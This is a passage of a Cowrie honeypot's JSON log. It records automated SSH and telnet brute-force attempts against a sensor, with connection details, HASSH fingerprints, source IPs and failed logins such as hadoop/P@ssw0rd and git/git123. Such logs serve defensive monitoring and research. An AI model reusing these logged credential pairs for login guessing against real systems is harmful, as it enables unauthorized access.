{"eventid":"cowrie.login.failed","username":"root","password":"1234567899","message":"login attempt [root/1234567899] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:56:58.856940Z","src_ip":"103.149.28.157","session":"ed532ee2ceb2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:56:59.248588Z","src_ip":"45.156.87.69","session":"9dc1245a36a9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:57:00.103021Z","src_ip":"103.149.28.157","session":"ed532ee2ceb2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.69","src_port":41606,"dst_ip":"159.203.135.109","dst_port":22,"session":"6f1ea7a0a55d","protocol":"ssh","message":"New connection: 45.156.87.69:41606 (159.203.135.109:22) [session: 6f1ea7a0a55d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:57:00.552024Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:57:00.557451Z","src_ip":"45.156.87.69","session":"6f1ea7a0a55d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:57:00.831954Z","src_ip":"45.156.87.69","session":"6f1ea7a0a55d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"deployer","password":"deployer123","message":"login attempt [deployer/deployer123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:57:01.514768Z","src_ip":"45.156.87.69","session":"6f1ea7a0a55d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:57:02.880707Z","src_ip":"45.156.87.69","session":"6f1ea7a0a55d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.69","src_port":41610,"dst_ip":"159.203.135.109","dst_port":22,"session":"1319b9463930","protocol":"ssh","message":"New connection: 45.156.87.69:41610 (159.203.135.109:22) [session: 1319b9463930]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:57:04.165622Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:57:04.170520Z","src_ip":"45.156.87.69","session":"1319b9463930","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:57:04.262750Z","src_ip":"45.156.87.69","session":"1319b9463930","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ts3","password":"teamspeak","message":"login attempt [ts3/teamspeak] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:57:04.919973Z","src_ip":"45.156.87.69","session":"1319b9463930","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:57:06.004927Z","src_ip":"45.156.87.69","session":"1319b9463930","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.69","src_port":45156,"dst_ip":"159.203.135.109","dst_port":22,"session":"72a750973679","protocol":"ssh","message":"New connection: 45.156.87.69:45156 (159.203.135.109:22) [session: 72a750973679]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:57:07.685883Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:57:07.691302Z","src_ip":"45.156.87.69","session":"72a750973679","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:57:07.809333Z","src_ip":"45.156.87.69","session":"72a750973679","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":40586,"dst_ip":"10.17.0.5","dst_port":23,"session":"85638d33f6e5","protocol":"telnet","message":"New connection: 152.42.224.71:40586 (10.17.0.5:23) [session: 85638d33f6e5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:57:08.073219Z"}
{"eventid":"cowrie.login.failed","username":"alex","password":"123","message":"login attempt [alex/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:57:08.627551Z","src_ip":"45.156.87.69","session":"72a750973679","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:57:09.794128Z","src_ip":"45.156.87.69","session":"72a750973679","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":116.47532892227173,"message":"Connection lost after 116 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:57:10.298187Z","src_ip":"152.42.224.71","session":"8277fcac84bc","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.69","src_port":45176,"dst_ip":"159.203.135.109","dst_port":22,"session":"74b4b153541b","protocol":"ssh","message":"New connection: 45.156.87.69:45176 (159.203.135.109:22) [session: 74b4b153541b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:57:11.213860Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:57:11.333514Z","src_ip":"45.156.87.69","session":"74b4b153541b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:57:11.337436Z","src_ip":"45.156.87.69","session":"74b4b153541b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"git","password":"git123","message":"login attempt [git/git123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:57:12.031678Z","src_ip":"45.156.87.69","session":"74b4b153541b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:57:13.354932Z","src_ip":"45.156.87.69","session":"74b4b153541b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":40600,"dst_ip":"10.17.0.5","dst_port":23,"session":"78e91605449c","protocol":"telnet","message":"New connection: 152.42.224.71:40600 (10.17.0.5:23) [session: 78e91605449c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:57:14.203552Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.69","src_port":45192,"dst_ip":"159.203.135.109","dst_port":22,"session":"ee6a49245557","protocol":"ssh","message":"New connection: 45.156.87.69:45192 (159.203.135.109:22) [session: ee6a49245557]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:57:14.793121Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:57:14.800382Z","src_ip":"45.156.87.69","session":"ee6a49245557","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:57:14.912239Z","src_ip":"45.156.87.69","session":"ee6a49245557","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"hadoop","password":"P@ssw0rd","message":"login attempt [hadoop/P@ssw0rd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:57:15.668745Z","src_ip":"45.156.87.69","session":"ee6a49245557","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:57:16.987679Z","src_ip":"45.156.87.69","session":"ee6a49245557","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.69","src_port":35172,"dst_ip":"159.203.135.109","dst_port":22,"session":"d11bcf2e4add","protocol":"ssh","message":"New connection: 45.156.87.69:35172 (159.203.135.109:22) [session: d11bcf2e4add]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:57:18.378198Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:57:18.383213Z","src_ip":"45.156.87.69","session":"d11bcf2e4add","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:57:18.661803Z","src_ip":"45.156.87.69","session":"d11bcf2e4add","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":52574,"dst_ip":"10.17.0.5","dst_port":23,"session":"f19c3a027ad7","protocol":"telnet","message":"New connection: 152.42.224.71:52574 (10.17.0.5:23) [session: f19c3a027ad7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:57:19.173365Z"}
{"eventid":"cowrie.login.failed","username":"cloudera","password":"cloudera","message":"login attempt [cloudera/cloudera] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:57:19.251332Z","src_ip":"45.156.87.69","session":"d11bcf2e4add","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:57:20.508499Z","src_ip":"45.156.87.69","session":"d11bcf2e4add","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.69","src_port":35180,"dst_ip":"159.203.135.109","dst_port":22,"session":"5e43040788bd","protocol":"ssh","message":"New connection: 45.156.87.69:35180 (159.203.135.109:22) [session: 5e43040788bd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:57:21.908801Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:57:21.913543Z","src_ip":"45.156.87.69","session":"5e43040788bd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:57:22.127501Z","src_ip":"45.156.87.69","session":"5e43040788bd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"intranet","password":"intranet","message":"login attempt [intranet/intranet] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:57:22.673176Z","src_ip":"45.156.87.69","session":"5e43040788bd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:57:23.773348Z","src_ip":"45.156.87.69","session":"5e43040788bd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.69","src_port":35192,"dst_ip":"159.203.135.109","dst_port":22,"session":"83fb96550131","protocol":"ssh","message":"New connection: 45.156.87.69:35192 (159.203.135.109:22) [session: 83fb96550131]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:57:25.608633Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:57:25.613598Z","src_ip":"45.156.87.69","session":"83fb96550131","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 